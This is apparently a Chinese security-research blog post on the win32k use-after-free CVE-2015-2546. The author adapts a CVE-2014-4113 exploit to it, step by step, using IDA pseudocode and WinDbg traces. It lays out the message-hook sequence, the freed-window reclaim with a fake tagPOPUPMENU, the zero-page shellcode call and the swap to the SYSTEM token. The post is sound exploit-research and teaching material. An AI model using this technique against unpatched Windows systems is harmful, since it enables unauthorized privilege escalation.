本文來源:安全客

作者:k0pwn_ko

上篇回顧:http://www.jmbmsq.com/102/

前言

上一次我發了一篇自己在一個經典內核漏洞CVE-2014-4113中掙扎的經歷,以及一些調試細節的分享: 經典內核漏洞調試筆記 (原文鏈接:http://bobao.#/learning/detail/3170.html)

總結過后感覺自己收獲很多,后來一個偶然的機會,我看到了百度安全實驗室發的一篇文章,是關于另一個經典的內核漏洞,也就是今天的主角----CVE-2015-2546這個漏洞的從補丁對比到Exploit的分析

同樣感覺收獲滿滿,在這篇分析中,總結了漏洞的成因,以及構造還原的手法,受益匪淺,但是并沒有提供Exploit,于是根據這篇分析,我嘗試編寫了一下Exploit,這一次真的是非常艱辛,一邊逆向調試,一邊編寫Exploit,磕磕絆絆完成了這個漏洞的利用,但和我的上一篇分析一樣,在調試過程中,有好多非常有意思的過程,所以總結了一下,拿出來和大家一起分享。

下面開始我這只小菜鳥的提權之旅。

從CVE-2014-4113到CVE-2015-2546

首先我來描述一下這個漏洞的過程:在創建彈出菜單之后,當進行鼠標操作的時候會觸發鼠標事件,引發win32k.sys下的一個叫做MNMouseMove的函數,在這個函數的處理過程中會涉及到一個叫做MNHideNextHierarchy的函數,這個函數會傳入一個參數,這個參數是一個名為tagPOPUPMENU的結構體對象,由于對于這個對象沒有進行檢查,導致可以通過前面的SendMessage異步的方法,使用將這個對象釋放掉,然后使用一個fake_tag進行占位,從而將這個fake_tag傳入MNHideNextHierarchy,在這個函數中會處理一個1E4消息,在這里由于fake_tag的關系,導致釋放后重用,從而引發在Ring0層執行Shellcode,最后完成提權。

第一次看到這個漏洞的時候,我就覺得這個利用的過程和CVE-2014-4113非常相像,都是在SendMessage中完成的利用,也就是利用的call [esi+60h]這個匯編指令。

要想觸發這個漏洞,首先要想辦法執行到MNMouseMove,我們一起來分析一下從哪里能夠執行到MNMouseMove。

這個過程是不是非常熟悉,從TrackPopupMenuEx到MNLoop,到HandleMenuMessages,最后到MNMouseMove。我們上一篇調試CVE-2014-4113就是這個過程,上一個漏洞發生在HandleMenuMessage中,而CVE-2015-2546發生在HandleMenuMessages里面的另一個調用,那么我就產生了一個想法,CVE-2014-4113的Exploit我們是否能在這個漏洞里使用呢?(事后證明,想的容易,做起來難,不過過程很有意思。)我們就從CVE-2014-4113這個Exploit入手,來完成CVE-2015-2546的提權。

和內核對抗的日子

首先我們來看一下CVE-2014-4113和CVE-2015-2546有多少關系,相關內容,可以看一下注釋。

if ( v5 > 0x104 )
  {
    if ( v5 > 0x202 )
    {
     ……
    }
    ……
    if ( v20 )
    {
      v21 = v20 - 1;
      if ( v21 )
      {
        ……
            v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
            v52 = IsMFMWFPWindow(v13);
            if ( v52 )
        ……
            if ( v13 == -1 )
              xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
            else
              xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);// CVE -2014-4113的漏洞位置
            if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
              xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);
          }
          return 0;
        }
        goto LABEL_59;
    }
    ……
LABEL_59:
    ……
    xxxMNMouseMove(v3, a2, (int)v7); // CVE-2015-2546漏洞位置
    return 1;
  }
}

可以看到,兩個漏洞的位置都處于HandleMenuMessages的函數中,經過CVE-2014-4113的分析,我們發現這個過程需要通過調用PostMessage的函數,這涉及到對窗口的操作,在CVE-2014-4113中,通過WNDCLASS類中的lpfnWndProc定義了回調函數MyWndProc負責處理窗口函數,這里使用的PostMessage的方法。

這樣的話,為了使程序執行到MNMouseMove,我需要設定一個鼠標事件,這里的靈感來源于百度實驗室的分析文章,所以我考慮使用。

//WM_SYSCOMMAND處理消息
PostMessage(hwnd,WM_SYSCOMMAND,0,0);//發送WM_SYSCOMMAND
//鼠標事件
PostMessage(hwnd,WM_LBUTTONDOWN,0,0);//鼠標左鍵按下
PostMessage(hwnd,WM_LBUTTONUP,0,0);//鼠標左鍵抬起

但是經過調試,我發現無論如何也到達不了調試位置,這樣我需要考慮為何無法到達調試位置,在分析的過程中發現了一個有趣的事情,首先,在CVE-2014-4113中,使用TrackPopupMenu會創建一個彈出窗口菜單。

但是,當修改了MyWndProc變成我們設定的事件之后,窗口菜單彈出后就沒有后續動作了,也就是說,沒有進入MNMouseMove的處理過程,但是當我把鼠標挪到上圖的菜單中時,我們首先命中了HandleMenuMessages斷點,緊接著命中了MNMouseMove。

kd> g
Breakpoint 6 hit
win32k!xxxHandleMenuMessages:
90668d78 8bff            mov     edi,edi
kd> g
Breakpoint 4 hit
win32k!xxxMNMouseMove:
906693ef 8bff            mov     edi,edi

這說明在鼠標挪上去后在HandleMenuMessages中發生的事情能夠使程序最后進入MNMouseMove,分析一下這個過程。

kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508          mov     esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604          mov     eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> r eax
eax=00000200

可以發現,程序進入后,會傳遞一個值0x200,這個值會在隨后的過程中連續傳遞并且判斷并且跳轉,這個過程不再詳細跟蹤,舉兩個跳轉的例子。

//一處跳轉,0x200和0x104作比較
kd> p
win32k!xxxHandleMenuMessages+0x2f:
90668da7 895dfc          mov     dword ptr [ebp-4],ebx
kd> p
win32k!xxxHandleMenuMessages+0x32:
90668daa 3bc1            cmp     eax,ecx
kd> r eax
eax=00000200
kd> r ecx
ecx=00000104
kd> p
win32k!xxxHandleMenuMessages+0x34:
90668dac 0f87e4010000    ja      win32k!xxxHandleMenuMessages+0x21d (90668f96)
//另一處跳轉,0x200和0x202作比較
kd> p
win32k!xxxHandleMenuMessages+0x21d:
90668f96 b902020000      mov     ecx,202h
kd> p
win32k!xxxHandleMenuMessages+0x222:
90668f9b 3bc1            cmp     eax,ecx
kd> p
win32k!xxxHandleMenuMessages+0x224:
90668f9d 0f8706010000    ja      win32k!xxxHandleMenuMessages+0x330 (906690a9)

這時我們看一下我這篇文章開頭提到的HandleMenuMessages函數的分析,在開頭有兩處if語句判斷,正是和這兩個值做的比較,接下來經過一系列判斷跳轉之后,我們就到達了MNMouseMove的調用。

kd> p
win32k!xxxHandleMenuMessages+0x264:
90668fdd a900040000      test    eax,400h
kd> p
win32k!xxxHandleMenuMessages+0x269:
90668fe2 747a            je      win32k!xxxHandleMenuMessages+0x2e5 (9066905e)
kd> p
win32k!xxxHandleMenuMessages+0x2e5:
9066905e 53              push    ebx

9066905e地址所處的位置,已經是MNMouseMove的上方,ebx正在作為MNMouseMove的參數傳入棧中。

.text:BF93905E ; 395:     xxxMNMouseMove(v3, a2, (int)v7);
.text:BF93905E                 push    ebx             ; int
.text:BF93905F                 push    esi             ; int
.text:BF939060                 push    edi             ; UnicodeString
.text:BF939061                 call    _xxxMNMouseMove@12 ; xxxMNMouseMove(x,x,x)

也就是說,之前傳入的這個eax是一個很關鍵的值,如果弄明白這個值,就可以讓程序成功執行到MNMouseMove了,但因為這個過程實際上是通過Windows下的圖形界面操作(也就是鼠標在我們創建的主窗口移動產生的),所以我們并不能通過CVE-2014-4113的源碼分析出來,這里需要分析一下這個值得內容,這時我想到了CVE-2014-4113源程序,同樣也是在HandleMenuMessages進行if語句的判斷導致跳轉,而CVE-2014-4113已經分析的很清楚了,運行CVE-2014-4113的源程序,中斷在HandleMenuMessage調試。

kd> p
win32k!xxxHandleMenuMessages+0x19:
90668d91 53              push    ebx
kd> p
win32k!xxxHandleMenuMessages+0x1a:
90668d92 56              push    esi
kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508          mov     esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604          mov     eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> r eax
eax=00000201
kd> dd esi
85c4bb0c  000f02a2 00000201 00000000 00000000

可以看到這里eax的值是0x201(剛才那個是0x200),也就是十進制的513,來看一下CVE-2014-4113里的過程,計算一下。

 v20 = v5 - 261;
    if ( v20 )
    {
      v21 = v20 - 1;
      if ( v21 )
      {
        v22 = v21 - 18;
        if ( !v22 )
          return 1;
        v23 = v22 - 232;
        if ( v23 )
        {
          if ( v23 == 1 )
          {
LABEL_13:
            v12 = a2;
            *(_DWORD *)(a2 + 16) = -1;
            *(_DWORD *)(a2 + 8) = (signed __int16)v7;
            *(_DWORD *)(a2 + 12) = SHIWORD(v7);
            v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
            v52 = IsMFMWFPWindow(v13);

這里要計算最后v23的值,就從最上方v20的值開始向下判斷,也就是v23=513-261-1-18-232=1,正好v23等于1,從而進入下面CVE-2014-4113的處理邏輯。v5的值,就是0x201,也就是513,那么這個值到底是什么呢,我們來查一下這個值。

public enum WMessages : int
   {
       WM_LBUTTONDOWN = 0x201, //Left mousebutton down
       WM_LBUTTONUP = 0x202,  //Left mousebutton up
       WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick
       WM_RBUTTONDOWN = 0x204, //Right mousebutton down
       WM_RBUTTONUP = 0x205,   //Right mousebutton up
       WM_RBUTTONDBLCLK = 0x206, //Right mousebutton doubleclick
       WM_KEYDOWN = 0x100,  //Key down
       WM_KEYUP = 0x101,   //Key up
   }

原來這個值就是WM_LBUTTONDOWN的值,正是CVE-2014-4113利用程序中MyWndProc中其中第三個PostMessage中調用到的第二個參數值,所以,我在這里,將我的Exploit中的PostMessage里第二個參數直接修改成0x200,重新運行程序,終于命中了MNMouseMove斷點。接下來可以進入內層函數分析了。

原來這個值就是WM_LBUTTONDOWN的值,正是CVE-2014-4113利用程序中MyWndProc中其中第三個PostMessage中調用到的第二個參數值,所以,我在這里,將我的Exploit中的PostMessage里第二個參數直接修改成0x200,重新運行程序,終于命中了MNMouseMove斷點。接下來可以進入內層函數分析了。

kd> p
win32k!xxxMNMouseMove+0x2f:
9066941e 0f846f010000    je      win32k!xxxMNMouseMove+0x1a4 (90669593)
kd> p
win32k!xxxMNMouseMove+0x1a4:
90669593 5f              pop     edi

來看一下IDA pro的偽代碼。

if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
    {

只有上面偽代碼中的if語句判斷通過后,才能進入到漏洞的處理流程,動態跟蹤一下這個過程。

kd> p
win32k!xxxMNMouseMove+0x26:
90669415 c1ea10          shr     edx,10h
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x29:
90669418 0fbfd2          movsx   edx,dx
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x2c:
9066941b 3b570c          cmp     edx,dword ptr [edi+0Ch]

這最主要的原因就是對比的兩個值都為0,從而不滿足if語句的跳轉,跳過了漏洞處理所需的邏輯流程,但是在我們利用鼠標移動的時候,卻發現這個流程可以進入if語句判斷。

kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98  fde8da68 9074f580 000f0059 9074f580 //000f0059
kd> p
win32k!xxxMNMouseMove+0x18:
90669407 0fbfc1          movsx   eax,cx
kd> r ecx
ecx=000f0059
kd> p
win32k!xxxMNMouseMove+0x1b:
9066940a 57              push    edi
kd> p
win32k!xxxMNMouseMove+0x1c:
9066940b 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708          cmp     eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511            jne     win32k!xxxMNMouseMove+0x35 (90669424)
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708          mov     dword ptr [edi+8],eax
kd> r eax
eax=00000059

鼠標移動的情況下,eax的值是0x59,并非0x00,那么這個值從哪里來呢,在進入MNMouseMove前看一下參數。

kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98  fde8da68 9074f580 000f0059 9074f580

通過IDA pro分析一下HandleMenuMessages函數,看看這個值是從哪里來。

v5 = *(_DWORD *)(a1 + 4);
v6 = *(_DWORD *)(a1 + 8);
v7 = *(void **)(a1 + 12);
xxxMNMouseMove(v3, a2, (int)v7);

是a1,也就是HandleMenuMessages的第一個參數,這樣我們可以回到CVE-2014-4113中,在調用HandleMenuMessages的時候,直接查看第一個參數偏移+0Ch位置的值,看看這個值是不是由我們決定的。

kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604          mov     eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c          mov     ebx,dword ptr [esi+0Ch]
kd> r edx
edx=00000000
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000      mov     ecx,104h
kd> r ebx
ebx=00000000
kd> r eax
eax=00000201

可以看到ebx寄存器是esi+0ch的值,這個值是0,eax的值是0x201,回過頭看一下正常Exploit中MyWndProc函數的PostMessages的參數調用。

PostMessage(hwnd,WM_LBUTTONDOWN,0x00,0)

這個第三個第四個特定參數都是0x00,那么我覺得這個可能和MNMouseMove中的值有關,于是我嘗試修改了CVE-2015-2546中PostMessage消息傳遞的特定參數。

修改之后,我們重新跟蹤調試。

kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608          mov     edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c          mov     ebx,dword ptr [esi+0Ch]
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000      mov     ecx,104h
kd> r edx
edx=00110011
kd> r ebx
ebx=00110011

果然這個值可控了,而且esi指針的值就+4h是PostMessage第二個參數,+08h是第三個參數,+0Ch是第四個參數,接下來,MNMouseMove也能夠正常進入if語句的處理流程了。

kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85d07a98  fde8da68 9074f580 00110011 9074f580
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708          cmp     eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511            jne     win32k!xxxMNMouseMove+0x35 (90669424)
kd> r eax
eax=00000011
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708          mov     dword ptr [edi+8],eax

在HOOK中掙扎和Exploit

接下來,進入到消息鉤子部分,主要處理的還是SendMessage異步處理時的消息,通過修改返回,最后達到漏洞調用位置,通過IDA pro來跟蹤一下MNMouseMove的執行流程,以及跟CVE-2015-2546有關的部分。

void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3)
{
  ……
    if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
    {
      *(_DWORD *)(a2 + 8) = (signed __int16)a3;
      *(_DWORD *)(v5 + 12) = SHIWORD(v4);
      v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通過HOOK可控,這里的sendmessage是異步處理
      v7 = v6;                                  // v7可控
      ……
      if ( *(_DWORD *)(v5 + 16) == 1 )          // 這個外層if不一定會進來
      {
        if ( !v7 || v7 == -1 && *(_BYTE *)(*(_DWORD *)(v3 + 4) + 35) & 0x20 )// 判斷返回值是0或者-1
          return;
        *(_DWORD *)(v5 + 16) = -1;
      }
      if ( v7 == -5 )                           // 當返回值是0xffffffb
      {
……
      }
      else                                      // 否則進入這里
      {
         ……
          v9 = *(_DWORD **)(v7 + 176);          // 獲取tagPOPUPMENU的位置,偏移是+0B0h
         ……
          v10 = xxxSendMessage((PVOID)v7, -27, UnicodeString, 0);
          if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
            xxxMNHideNextHierarchy(v9);         // 漏洞觸發關鍵位置

經過分析,我們需要處理三處SendMessage的異步過程,第一處在FindWindowFromPoint,這個函數中會有一處SendMessage,通過異步過程執行鉤子,但是我調試時發現在進入這個函數返回,但并沒有執行鉤子。

kd> p
win32k!xxxMNMouseMove+0x48:
90669437 e862010000      call    win32k!xxxMNFindWindowFromPoint (9066959e)
kd> p
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000  test    dword ptr [edi+4],8000h
kd> r eax
eax=fea11430
跟蹤一下這個過程,我發現在進入SendMessage之前,有一處if語句判斷,當這個if語句判斷不通過的時候,不會進入SendMessage處理。
kd> p
win32k!xxxMNFindWindowFromPoint+0x14:
906695b2 8b470c          mov     eax,dword ptr [edi+0Ch]
kd> p
win32k!xxxMNFindWindowFromPoint+0x17:
906695b5 85c0            test    eax,eax
kd> p
win32k!xxxMNFindWindowFromPoint+0x19:
906695b7 746b            je      win32k!xxxMNFindWindowFromPoint+0x86 (90669624)
kd> p
win32k!xxxMNFindWindowFromPoint+0x86:
90669624 8b07            mov     eax,dword ptr [edi]
kd> dd edi
fde8da68  12a10008 fea38d58 fea11430 00000000

可以看到這里eax的值是edi+0ch對應的值,也就是0,對應偽代碼v5變量值為0,也就是if語句判斷沒通過,跳轉了。這樣我們還需要重新看一下這個值,這個值來自于tagPopupMenu結構體,通過CVE-2014-4113和CVE-2015-2546的tagPopupMenu結構體做一個對比。

kd> dt tagPOPUPMENU fde8da68//我們的Exploit中的結構體
   +0x004 spwndNotify      : 0xfea38d58 tagWND
   +0x008 spwndPopupMenu   : 0xfea11430 tagWND
   +0x00c spwndNextPopup   : (null) 
kd> dt fde8da68 tagPOPUPMENU//CVE-2014-4113的結構體
   +0x004 spwndNotify      : 0xfea39de8 tagWND
   +0x008 spwndPopupMenu   : 0xfea12398 tagWND
   +0x00c spwndNextPopup   : 0xfea12578 tagWND

實際上,在通過TrackPopupMenu之后會調用MNLoop進入循環處理消息,而我們的exp中只有一個postmessage,于是我們增加到三個postmessage,再次調試跟蹤。

kd> p
win32k!xxxHandleMenuMessages+0x2e7:
90669060 57              push    edi
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000      call    win32k!xxxMNMouseMove (906693ef)
kd> r edi
edi=fde8da68
   +0x004 spwndNotify      : 0xfea39d18 tagWND
   +0x008 spwndPopupMenu   : 0xfea11430 tagWND
   +0x00c spwndNextPopup   : 0xfea12698 tagWND

這樣,我們就能夠處理了,接下來利用三個鉤子,分別處理三種消息的調用,這個調用過程和CVE-2014-4113相比差別還是比較大的。需要來看一下最關鍵的鉤子該怎么用。首先我們要分析一下和漏洞利用最關鍵的函數xxxMNHideNextHierarchy,這個函數有一個參數。

signed int __stdcall xxxMNHideNextHierarchy(int a1)
  v1 = *(_DWORD *)(a1 + 12);
  if ( v1 )
  {
    v2 = *(void **)(a1 + 12);
    if ( v2 != *(void **)(a1 + 28) )
      xxxSendMessage(v2, -28, 0, 0);//這里調用shellcode提權

這個參數a1直接影響到后面的提權,回到外層看一下這個a1從哪里來。

v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通過HOOK可控,這里的sendmessage是異步處理
      v7 = v6;                                  // v7可控
      ……
      v9 = *(_DWORD **)(v7 + 176);          // 獲取tagPOPUPMENU的位置,偏移是+0B0h
      if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
            xxxMNHideNextHierarchy((int)v9);    // 漏洞觸發關鍵位置

正是從MNFindWindowFromPoint而來,本來是一次輕松愉快的旅程,但是實際上在邏輯代碼中,有一個地方導致了這次旅程血崩,就是:

if ( IsWindowBeingDestroyed(v7) )
            return;

這個地方會對窗口的屬性進行檢查,也就是說,v7不能是一個任意值,比如是我們直接通過零頁分配的shellcode的某個地址指針,如果可以的話,后面就會導致其他的利用了,因此這個值必須是一個窗口的值,因此我們用一種方法:

就是創建窗口A和窗口B,在這里通過異步調用,返回窗口B的值,這樣后續處理中,就會將窗口B的tagMenu偏移+0B0h位置的值,也就是tagPopupMenu交給v9,那么隨后在最后一個SendMessage中銷毀窗口B,通過一些方法將銷毀后的位置占位,因為后面沒有進行判斷,從而可以調用占位后的值。而通過分析xxxMNHideNextHierarchy,內層函數用的是tagPopupMenu->spwndNextPopup,因此,只要在占位時再控制這個值,為一個我們可控的值,最后就能在xxxMNHideNextHierarchy里的sendmessage完成最后一步提權了。

有了這個思路,我們開始利用鉤子來完成這個過程。第一步,在FindWindowFromMessage函數調用中,處理1EB消息,這個和CVE-2014-4113很像。

90669437 e862010000      call    win32k!xxxMNFindWindowFromPoint (9066959e)
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000  test    dword ptr [edi+4],8000h
kd> r eax
eax=fea396d0

第一步鉤子會返回窗口B的值,這樣,也能繞過IsDestroy的判斷,隨后進入第二步處理,第二步處理的值,是1E5的消息,這個消息返回后會將返回值和0x10做一個判斷。

xor     edi, edi
push    edi             ; Address
push    dword ptr [ebp+UnicodeString] ; UnicodeString
push    1E5h            ; MbString
push    esi             ; P
call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
; 67:           if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
test    al, 10h
jz      short loc_BF939583

這樣我們控制鉤子令返回值為0x10就可以了。

kd> p
win32k!xxxMNMouseMove+0x134:
90669523 e87500f8ff      call    win32k!xxxSendMessage (905e959d)
kd> g
Breakpoint 16 hit
win32k!xxxMNMouseMove+0x139:
90669528 a810            test    al,10h
kd> r eax
eax=00000010
kd> p
win32k!xxxMNMouseMove+0x13b:
9066952a 7457            je      win32k!xxxMNMouseMove+0x194 (90669583)

第三步處理1F0的消息,這一步很關鍵,會調用SendMessage,在這一步的鉤子中對窗口B進行銷毀,銷毀后占位,由于這一步是在一個if語句里,因此需要返回值為0,才能通過非的判斷。

.text:BF939530                 push    edi             ; Address
.text:BF939531                 push    edi             ; UnicodeString
.text:BF939532                 push    1F0h            ; MbString
.text:BF939537                 push    esi             ; P
.text:BF939538                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93953D                 test    eax, eax
.text:BF93953F                 jnz     short loc_BF939583
.text:BF939541 ; 68:             xxxMNHideNextHierarchy(v9);         // 漏洞觸發關鍵位置

這樣的話,我們銷毀窗口,并且進行占位

kd> p
Breakpoint 17 hit
win32k!xxxMNMouseMove+0x14e:
9066953d 85c0            test    eax,eax
kd> p
win32k!xxxMNMouseMove+0x150:
9066953f 7542            jne     win32k!xxxMNMouseMove+0x194 (90669583)
kd> r eax
eax=00000000
kd> p
win32k!xxxMNMouseMove+0x152:
90669541 53              push    ebx

最后占位后就是處理后的ebx了,這時候我們對ebx后的值也很有講究,ebx+0Ch的值就是我們最后要調用到的值,這個值剛開始我想是直接按照CVE-2014-4113中的值一樣定義成0xfffffffb,但是后來發現,在HideNextHierarchy函數中會將這個值自加進行一個賦值。

kd> p
win32k!xxxMNHideNextHierarchy+0x2c:
90648efa ff4004          inc     dword ptr [eax+4]
kd> dd eax
ffffffff  ???????? fe7d2179 00000000 00000000

因此,如果eax的值是0xfffffffb的話,加4之后就是0xffffffff,仍然是個無效地址,這個無效地址自加會導致系統異常,因此,我把eax的值設為0xffffffff,這樣同樣需要重新分配0頁內存。

kd> p
win32k!xxxMNHideNextHierarchy+0x9:
90648ed7 8b7508          mov     esi,dword ptr [ebp+8]
kd> p
win32k!xxxMNHideNextHierarchy+0xc:
90648eda 8b460c          mov     eax,dword ptr [esi+0Ch]
kd> p
win32k!xxxMNHideNextHierarchy+0xf:
90648edd 85c0            test    eax,eax
kd> r eax
eax=ffffffff

這樣就繞過了最后一層判斷,最后到達1E4的消息調用,這個地方傳遞的值就已經是0xffffffff了。

kd> p
win32k!xxxMNHideNextHierarchy+0x37:
90648f05 6a00            push    0
kd> p
win32k!xxxMNHideNextHierarchy+0x39:
90648f07 6a00            push    0
kd> p
win32k!xxxMNHideNextHierarchy+0x3b:
90648f09 68e4010000      push    1E4h
kd> p
win32k!xxxMNHideNextHierarchy+0x40:
90648f0e 50              push    eax
kd> r @eax=ffffffff
kd> p
win32k!xxxMNHideNextHierarchy+0x41:
90648f0f e88906faff      call    win32k!xxxSendMessage (905e959d)
kd> dd esp
92dd3a3c  ffffffff 000001e4 00000000 00000000

接下來向內層繼續傳遞,和CVE-2014-4113的利用過程就基本一致了。

kd> p
win32k!xxxSendMessage+0x23:
905e95c0 e882fdffff      call    win32k!xxxSendMessageTimeout (905e9347)
kd> dd esp
92dd3a14  ffffffff 000001e4 00000000 00000000

最后,執行到shellcode

kd> p
win32k!xxxSendMessageTimeout+0x1a9:
905e94f0 ff5660          call    dword ptr [esi+60h]
kd> r esi
esi=ffffffff
kd> dd esi+60
0000005f  00371410 00000000 00000000 00000000
kd> p
Breakpoint 6 hit
00371410 55              push    ebp

下一個寫入斷點

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 841bdab0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 87c01be8  HandleCount: 490.
    Image: System
PROCESS 845da8a8  SessionId: 1  Cid: 0ddc    Peb: 7ffdf000  ParentCid: 0cf8
    DirBase: 3f321500  ObjectTable: 95b440f0  HandleCount:  28.
    Image: EoP_1.exe
kd> dd 845da8a8+f8
845da9a0  86094613 000078da 00000000 00000000原進程token
shellcode進行替換
kd> dd 845da8a8+f8 //提權Token
845da9a0  87c01337 000078da 00000000 00000000
kd> dd 841bdab0+f8 //系統Token
841bdba8  87c01337 00000000 00000000 00000000

現在是system的token了,最后放一個提權后的截圖

后記

這個漏洞總體來說可以算是CVE-2014-4113的進階,和內核較勁的過程非常有意思,一步步的思考和繞過,讓我想起以前膜拜大牛們過狗的案例中一步步bypass的過程,實際上二進制也是一樣。

那么這篇文章也寫到這里,希望大牛們多多批評指正,也希望大家也都能有所收獲,謝謝!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/111/